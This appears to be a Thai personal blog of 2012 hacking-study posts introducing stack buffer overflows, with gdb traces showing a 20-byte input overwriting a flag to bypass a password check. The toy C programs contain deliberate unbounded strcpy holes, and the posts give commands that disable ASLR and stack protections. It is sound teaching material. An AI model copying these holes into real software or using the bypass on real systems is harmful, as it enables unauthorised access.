เมื่อฟังก์ชั่นถูกเรียกใช้  โครงสร้างที่ชื่อ สแต็กเฟรม ( Stack Frame ) ได้ถูก push ลงไปบนสแต็ก และรีจิสเตอร์ EIP จะกระโดดไปยังคำสั่งแรกของฟังก์ชั่น แต่ละสแต็กเฟรมจะเก็บตัวแปรแบบโลคอลของฟังก์ชั่นนั้น และรีเทิร์นแอดเดรสเพื่อที่ว่าค่าของ EIP จะได้สามารถถูกเรียกคืนได้ โดยโครงสร้างและกลไกต่างๆ ที่กล่าวมานี้ได้รับการจัดการโดยคอมไพเลอร์ ไม่ใช่โปรแกรมเมอร์

auth_overflow.c
/*
 * Compile 
 * gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -g -o auth_overflow auth_overflow.c
 *   
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int check_authentication(char *password) {
 int auth_flag = 0;
 char password_buffer[16];

 strcpy(password_buffer, password);
 
 if(strcmp(password_buffer, "nopX90") == 0)
  auth_flag = 1;
 if(strcmp(password_buffer, "naruedol") == 0)
  auth_flag = 1;

 return auth_flag;
}

int main(int argc, char *argv[]) {
 if(argc < 2) {
  printf("Usage: %s \n", argv[0]);
  exit(0);
 }
 if(check_authentication(argv[1])) {
  printf("\n-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
  printf("      Access Granted.\n");
  printf("-=-=-=-=-=-=-=-=-=-=-=-=-=-\n");
 } else {
  printf("\nAccess Denied.\n");
   }
}


โปรแกรมตัวอย่างนี้จะรับเฉพาะรหัสผ่านมาเป็นอาร์กิวเมนต์ของบรรทัดคำสั่ง และจากนั้นจะไปเรียกใช้ฟังก์ชั่น check_authentication() ฟังก์ชั่นนี้อนุญาติให้มีสองรหัสผ่าน เพื่อตรวจสอบการใช้งานของผู้ใช้ ถ้าหนึ่งในรหัสผ่านเหล่านี้ถูกรีเทิร์นกลับมาเป็น 1 ซึ่งก็หมายความว่าอนุญาตให้เข้าใช้งานระบบได้
root@bt:~/Hacking# ./auth_overflow 
Usage: ./auth_overflow 
root@bt:~/Hacking# ./auth_overflow test

Access Denied.
root@bt:~/Hacking# ./auth_overflow nopX90

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-
root@bt:~/Hacking# ./auth_overflow naruedol

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

ทุกอย่างทำงานได้ตามปกติ ตามที่ซอร์สโค้ดเขียนไว้ นี่เป็นสิ่งที่เราคาดหวังได้จากคอมพิวเตอร์ แต่การเกิดโฟลว์ขึ้นจะนำเราไปสู่เหตุการณ์ที่เราไม่คาดคิด และบางอย่างที่ขุดแย้งกัน ซึ่งจะนำไปสู่การเข้าถึงระบบได้โดยไม่ต้องระบุรหัสผ่าน
root@bt:~/Hacking# ./auth_overflow AAAAAAAAAAAAAAAAAAAA

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

เกิดอะไรขึ้นกับโปรแกรม auth_overflow.c เราลองมาดูการทำงานภายในของระบบดู
root@bt:~/Hacking# gdb -q ./auth_overflow
Reading symbols from /root/Hacking/auth_overflow...done.
(gdb) list 1
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <string.h>
4 
5 int check_authentication(char *password) {
6  int auth_flag = 0;
7  char password_buffer[16];
8 
9  strcpy(password_buffer, password);
10  
(gdb) 
11  if(strcmp(password_buffer, "nopX90") == 0)
12   auth_flag = 1;
13  if(strcmp(password_buffer, "naruedol") == 0)
14   auth_flag = 1;
15 
16  return auth_flag;
17 }
18 
19 int main(int argc, char *argv[]) {
20  if(argc < 2) {
(gdb) b 9    #break line 9 เพื่อจะได้เช็คค่าก่อนจะโอเวอร์โฟลว์
Breakpoint 1 at 0x80484a1: file auth_overflow.c, line 9.
(gdb) b 16
Breakpoint 2 at 0x80484ef: file auth_overflow.c, line 16.
(gdb) r AAAAAAAAAAAAAAAAAAAA
Starting program: /root/Hacking/auth_overflow AAAAAAAAAAAAAAAAAAAA

Breakpoint 1, check_authentication (password=0xbffff736 'A' ) at auth_overflow.c:9
9  strcpy(password_buffer, password);
(gdb) x/s password_buffer 
0xbffff4f4:  "\364\237\374\267\200\205\004\b\030\365\377\277\245\064", 
(gdb) x/x &auth_flag 
0xbffff504: 0x00000000
(gdb) print 0xbffff504 - 0xbffff4f4    #หาระยะหว่างระหว่าง password_buffer กับ auth_flag
$1 = 16
(gdb) x/16xw password_buffer 
0xbffff4f4: 0xb7fc9ff4 0x08048580 0xbffff518 0xb7ea34a5
0xbffff504: 0x00000000 0xbffff518 0x08048532 0xbffff736
0xbffff514: 0x00000000 0xbffff598 0xb7e8abd6 0x00000002
0xbffff524: 0xbffff5c4 0xbffff5d0 0xb7fe1858 0xbffff580
(gdb) 


เบรกพอยต์แรกอยู่ก่อนหน้านี้ฟังก์ชั่น strcpy() จะทำงาน ด้วยการสำรวจพอยน์เตอร์ password_buffer เราจะพบว่าดีบั๊กเกอร์จะแสดงว่ามันถูกบรรจุด้วยข้อมูลแบบสุ่มที่ไม่ได้ผ่านการเซตค่าเริ่มต้น และถูกเก็บไว้ที่แอดเดรส 0xbffff4f4 ในหน่วยความจำ ด้วยการสำรวจแอดเดรสของตัวแปร auth_flag เราสามารถดูได้ทั้งตำแหน่งของมันที่ 0xbffff504 และค่าที่เท่ากับศูนย์ คำสั่ง print ทำให้เรารู้ว่า auth_flag อยู่ห่างจากจุดเริ่มต้นของ password_buffer ไป 16 ไบต์
(gdb) c
Continuing.

Breakpoint 2, check_authentication (password=0xbffff735 'A' <repeats 20="" times=""> ) at auth_overflow.c:16
16  return auth_flag;
(gdb) x/s password_buffer 
0xbffff4f4:  'A' <repeats 20="" times="">
(gdb) x/x &auth_flag 
0xbffff504: 0x41414141
(gdb) x/16xw password_buffer 
0xbffff4f4: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff504: 0x41414141 0xbffff500 0x08048532 0xbffff735
0xbffff514: 0x00000000 0xbffff598 0xb7e8abd6 0x00000002
0xbffff524: 0xbffff5c4 0xbffff5d0 0xb7fe1858 0xbffff580
(gdb) x/4cb &auth_flag 
0xbffff504: 65 'A' 65 'A' 65 'A' 65 'A'
(gdb) x/dw &auth_flag 
0xbffff504: 1094795585


เบรกพอยต์ถัดไปที่พบหลังจากฟังก์ชัน strcpy() ตำแหน่งของหน่วยความจำเหล่านี้สามารถถูกสำรวจได้อีกครั้ง ข้อมูลใน password_buffer ได้โอเวอร์โฟลว์เข้าไปใน auth_flag และแก้ไขค่าสี่ไบต์เริ่มต้นให้เท่ากับ 0x41 ค่า 0x41414141 จริงๆมันอยู่ในฐานะที่เป็นเลขจำนวนเต็ม โดยมีค่าเท่ากับ 1094795585 (ดูเยอะไปไหนอาจทำให้โปรแกรมแครชลงได้ แต่ถ้าลอง A 18 ตัวอาจจะดูดีกว่านี้ )
(gdb) c
Continuing.

-=-=-=-=-=-=-=-=-=-=-=-=-=-
      Access Granted.
-=-=-=-=-=-=-=-=-=-=-=-=-=-

Program received signal SIGSEGV, Segmentation fault.
0x00000000 in ?? ()
(gdb) 

หลังจากการเกิดโอเวอร์โฟลว์ พังก์ชั่น check_authentication() จะรีเทิร์นค่า 1094795585 แทนที่จะรีเทิร์น 0 เนื่องจากคำสั่ง if จะมองว่าค่าใดๆ ที่รีเทิร์นมา หากไม่ใช่ 0 ก็ถือว่าเป็นการผ่านการตรวจสอบแล้วการฟังก์ชั่น check_authentication()

ในตัวอย่างนี้ ตัวแปร auth_flag ถือได้ว่าเป็นจุดควบคุมการเอ็กซีคิวต์ เนื่องจากการเขียนทับค่าตัวแปรนี้ได้ถือว่าเป็นจุดเปลี่ยนในการตัดสินใจของโปรแกรม

Thursday, May 10, 2012

0x201 Intro Buffer Overflow

ช่องโหว่บัฟเฟอร์โอเวอร์โฟลว์นั้นมีมานานแล้ว นับตั้งแต่การถือกำเนิดของคอมพิวเตอร์และก็ยังไม่อยู่ในปัจจุบัน

ในขณะที่ความง่ายของภาษา C ได้เพิ่มระดับการควบคุมโปรแกรมให้กับโปรแกรมเมอร์และเพิ่มประสิทธิ์ภาพของโปรแกรมที่ผ่านการคอมไพล์  มันยังช่วยเพิ่มโอกาสในการที่โปรแกรมจะได้รับผลกระทบต่อปรากฏการณ์บัฟเฟอร์โอเวอร์โฟลว์  และปัญหาการขาดแคลนหน่วยความจำด้วย  ถ้าโปรแกรมเมอร์ไม่ระมัดระวังพอ  นี่หมายความว่า  ทันที่ได้รับการจองเนื้อที่หน่วยความจำได้ถูกจัดสรรสำหรับตัวแปรหนึ่งๆแล้ว  มันจะไม่มีกลไลป้องกันภายในใดๆ ที่จะรับประกันได้ว่าข้อมูลที่จะนำไปเก็บในตัวแปรนั้น  มีขนาดเหมาะสมพอดีกับเนื้อที่หน่วยความจำที่ได้จัดเตรียมไว้  ถ้าโปรแกรมเมอร์ต้องการบรรจุข้อมูลขนาดสิบไบต์เข้าไปในบัฟเฟอร์หน่วยความจำที่มีขนาดเพียงแปดไบต์เท่านั้น  พฤติกรรมนี้จะอนุญาตให้เกิดขึ้นได้  แต่ทว่ามันจะเป็นไปได้สูงมากที่โปรแกรมจะแครชและพังลงไป  ปรากฏการณ์นี้เรียกว่า  บัฟเฟอร์โอเวอร์โฟลว์ เนื่องจากข้อมูลอีกสองไบต์ที่ล้นเกินมานั้นจะไปโอเวอร์โฟลว์  และทำให้หน่วยความจำล้น  อีกทั้งยังมีโอกาสไปเขียนทับข้อมูลใดๆ ที่ได้ถูกเก็บไว้ต่อจากพื้นที่หน่วยความจำนั้น  ถ้าข้อมูลสำคัญได้ถูกเขียนทับ  โปรแกรมจะแครช

ตัวอย่างโปรแกรม overflow_example.c
/*
 * Compile 
 * gcc -fno-pie -fno-stack-protector -z norelro -z execstack -mpreferred-stack-boundary=2 -o overflow_example overflow_example.c
 * 
 */
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[]) {
 int value = 5;
 char buffer_one[8], buffer_two[8];

 strcpy(buffer_one, "one"); /* put "one" into buffer_one */
 strcpy(buffer_two, "two"); /* put "two" into buffer_two */
 
 printf("[BEFORE] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two);
 printf("[BEFORE] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one);
 printf("[BEFORE] value is at %p and is %d (0x%08x)\n", &value, value, value);

 printf("\n[STRCPY] copying %d bytes into buffer_two\n\n",  strlen(argv[1]));
 strcpy(buffer_two, argv[1]); /* copy first argument into buffer_two */

 printf("[AFTER] buffer_two is at %p and contains \'%s\'\n", buffer_two, buffer_two);
 printf("[AFTER] buffer_one is at %p and contains \'%s\'\n", buffer_one, buffer_one);
 printf("[AFTER] value is at %p and is %d (0x%08x)\n", &value, value, value);
}

หลังจากคอมไฟล์โปรแกรมแล้ว เราได้ทดลองสำเนาสิบไบต์จากอากิวเมนต์แบบบรรทัดคำสั่ง อากิวเมนต์แรกเข้าไปในต้วแปร buffer_two ซึ่งตัวแปรนี้ได้จัดสรรพื้นที่หน่วยความจำไว้เพียงแปดไบต์เท่านั้น
root@bt:~/Hacking# ./overflow_example 1234567890
[BEFORE] buffer_two is at 0xbffff514 and contains 'two'
[BEFORE] buffer_one is at 0xbffff51c and contains 'one'
[BEFORE] value is at 0xbffff524 and is 5 (0x00000005)

[STRCPY] copying 10 bytes into buffer_two

[AFTER] buffer_two is at 0xbffff514 and contains '1234567890'
[AFTER] buffer_one is at 0xbffff51c and contains '90'
[AFTER] value is at 0xbffff524 and is 5 (0x00000005)

สังเกตว่าตัวแปร buffer_one ดได้รับการจัดเก็บไว้โดยตรงทันทีต่อจากตัวแปร buffer_two ในหน่วยความจำ ดังนั้นเมื่อสิบไบต์ถูกสำเนาไปไว้ที่ buffer_two อีกสองไปต์ที่เหลือคือ 90 ก็จะไปโอเวอร์โฟลว์ในตัวแปร buffer_one และจะเขียนทับอะไรก็ตามที่อยู่ในตัวแปรนี้

โดยธรรมชาติแล้ว บัฟเฟอร์หน่วยความจำขนาดใหญ่ขึ้นมันโอเวอร์โฟลว์ล้นไปอยู่ในพื้นที่หน่วยความจำที่เก็บตัวแปรอื่น แต่ถ้าบัฟเฟอร์มีขนาดใหญ่มากขึ้นอีกถึงจุดหนึ่ง โปรแกรมอาจจะแครชและตายลงได้
root@bt:~/Hacking# ./overflow_example AAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[BEFORE] buffer_two is at 0xbffff504 and contains 'two'
[BEFORE] buffer_one is at 0xbffff50c and contains 'one'
[BEFORE] value is at 0xbffff514 and is 5 (0x00000005)

[STRCPY] copying 29 bytes into buffer_two

[AFTER] buffer_two is at 0xbffff504 and contains 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
[AFTER] buffer_one is at 0xbffff50c and contains 'AAAAAAAAAAAAAAAAAAAAA'
[AFTER] value is at 0xbffff514 and is 1094795585 (0x41414141)
Segmentation fault

Wednesday, May 9, 2012

Preparation

เริิ่มแรกผมขอแนะนำบล็อกนี้กันก่อน คำว่า "\x90" มันมาจากไหน มันคือ NOP ( no operation ) ซึ่งก็คือโอเปอร์เรชั่นว่างๆ ที่ไม่ได้ทำอะไรแต่เสียพื้นที่ไป 1 MC เอ้า!! แล้วมันเกี่ยวอะไรกัน ?  ฮาๆ มันไม่ได้เกี่ยวอะไรกันหรอกครับ

เตรียมความพร้อม

สิ่งที่ต้องเตรียมเป็นอย่างแรกคือ Ubuntu เวอร์ช้่นไหนก็ได้ ผมแนะนำให้ลงแบบ Virtual machine จะดีกว่า
หลังจากลงเสร็จพร้อมใช้งานให้เข้าไปที่ /etc/sysctl.conf แล้วสั่ง เพื่อ Disable ASLR
$ echo 0 > /proc/sys/kernel/randomize_va_space
$ sudo sysctl -p
ส่วนอื่น ทาง Ubuntu เค้าได้จัดการให้เราแล้ว

เป้าหมาย

สิ่งที่ผมจะเขียนในบล็อกนี้มันก็คือ Lab ส่วนตัวของผมนี้ล่ะ ผมเองตั้งใจจะศึกษา Hacking ที่เกียวกัน
0x000  Get start
0x100  Programming
0x200  Exploit buffer overflow
0x300  Network
0x400  Shellcode

ทักษะ Programming  มันไม่ใข่จรวดนำวิถี มันไม่ใช่ที่สุดของวิศวคอม แต่มันเปรียบเสมือนมีดพกที่สามารถนำมาใช้แก้ปัญหาต่างๆ ได้ตลอดเวลา